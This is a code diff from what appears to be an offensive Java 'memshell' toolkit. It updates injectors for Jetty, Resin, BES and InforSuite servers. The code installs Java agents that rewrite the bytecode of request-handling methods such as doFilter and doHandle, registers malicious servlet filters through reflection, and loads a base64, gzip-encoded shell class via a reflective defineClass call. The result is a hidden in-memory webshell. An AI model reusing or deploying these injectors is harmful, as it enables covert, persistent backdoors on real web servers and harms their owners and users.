mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-97
@@ -1,97 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.bes;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class BesFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public BesFilterChainAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new BesFilterChainAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
+18
-7
@@ -44,6 +44,10 @@ public class InforSuiteFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
/**
|
||||
* com.cvicse.loong.enterprise.web.WebModule
|
||||
* /usr/local/inforsuite/as/modules/web-glue.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -59,12 +63,18 @@ public class InforSuiteFilterInjector {
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
@@ -83,8 +93,9 @@ public class InforSuiteFilterInjector {
|
||||
log.warning("filter already exists");
|
||||
return;
|
||||
}
|
||||
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
@@ -97,7 +108,7 @@ public class InforSuiteFilterInjector {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
constructors[0].setAccessible(true);
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
HashMap<String, Object> filterConfigs = null;
|
||||
|
||||
+272
-39
@@ -1,39 +1,37 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class JettyHandlerAgentInjector implements AgentBuilder.Transformer {
|
||||
public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||
private static final List<String> TARGET_CLASSES = Arrays.asList(
|
||||
"org/eclipse/jetty/servlet/ServletHandler",
|
||||
"org/eclipse/jetty/ee8/servlet/ServletHandler",
|
||||
"org/eclipse/jetty/ee9/servlet/ServletHandler",
|
||||
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
|
||||
"org/mortbay/jetty/servlet/ServletHandler"
|
||||
);
|
||||
private static String targetClassName = "";
|
||||
private static String targetMethodName = "doHandle";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("doHandle")));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,21 +42,256 @@ public class JettyHandlerAgentInjector implements AgentBuilder.Transformer {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("org.eclipse.jetty.servlet.ServletHandler"))
|
||||
.transform(new JettyHandlerAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
|
||||
inst.addTransformer(new JettyHandlerAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (targetClass.replace("/", ".").equals(name)) {
|
||||
targetClassName = name;
|
||||
if (targetClassName.contains("mortbay")) {
|
||||
targetMethodName = "handle";
|
||||
}
|
||||
if (targetClassName.contains("ee10")) {
|
||||
targetMethodName = "doFilter";
|
||||
}
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at " + targetClassName + "." + targetMethodName);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASSES.contains(className)) {
|
||||
if (className.contains("mortbay")) {
|
||||
targetMethodName = "handle";
|
||||
}
|
||||
if (className.contains("ee10")) {
|
||||
targetMethodName = "doFilter";
|
||||
}
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (targetMethodName.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
Type argumentType = argumentTypes[i];
|
||||
mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
boxPrimitive(mv, argumentType);
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private void boxPrimitive(MethodVisitor mv, Type type) {
|
||||
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
|
||||
return; // Already an object
|
||||
}
|
||||
|
||||
String owner;
|
||||
String descriptor;
|
||||
|
||||
switch (type.getSort()) {
|
||||
case Type.BOOLEAN:
|
||||
owner = "java/lang/Boolean";
|
||||
descriptor = "(Z)Ljava/lang/Boolean;";
|
||||
break;
|
||||
case Type.CHAR:
|
||||
owner = "java/lang/Character";
|
||||
descriptor = "(C)Ljava/lang/Character;";
|
||||
break;
|
||||
case Type.BYTE:
|
||||
owner = "java/lang/Byte";
|
||||
descriptor = "(B)Ljava/lang/Byte;";
|
||||
break;
|
||||
case Type.SHORT:
|
||||
owner = "java/lang/Short";
|
||||
descriptor = "(S)Ljava/lang/Short;";
|
||||
break;
|
||||
case Type.INT:
|
||||
owner = "java/lang/Integer";
|
||||
descriptor = "(I)Ljava/lang/Integer;";
|
||||
break;
|
||||
case Type.FLOAT:
|
||||
owner = "java/lang/Float";
|
||||
descriptor = "(F)Ljava/lang/Float;";
|
||||
break;
|
||||
case Type.LONG:
|
||||
owner = "java/lang/Long";
|
||||
descriptor = "(J)Ljava/lang/Long;";
|
||||
break;
|
||||
case Type.DOUBLE:
|
||||
owner = "java/lang/Double";
|
||||
descriptor = "(D)Ljava/lang/Double;";
|
||||
break;
|
||||
default:
|
||||
// Should not happen for primitive types
|
||||
return;
|
||||
}
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false);
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-97
@@ -1,97 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.jetty;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class JettyHandlerAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "org/eclipse/jetty/servlet/ServletHandler";
|
||||
private static final String TARGET_METHOD_NAME = "doHandle";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public JettyHandlerAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new JettyHandlerAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
|
||||
}
|
||||
}
|
||||
+197
-37
@@ -1,39 +1,28 @@
|
||||
package com.reajason.javaweb.memshell.injector.resin;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,20 +33,191 @@ public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("com.caucho.server.dispatch.FilterFilterChain"))
|
||||
.transform(new ResinFilterChainAgentInjector())
|
||||
.installOn(inst);
|
||||
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
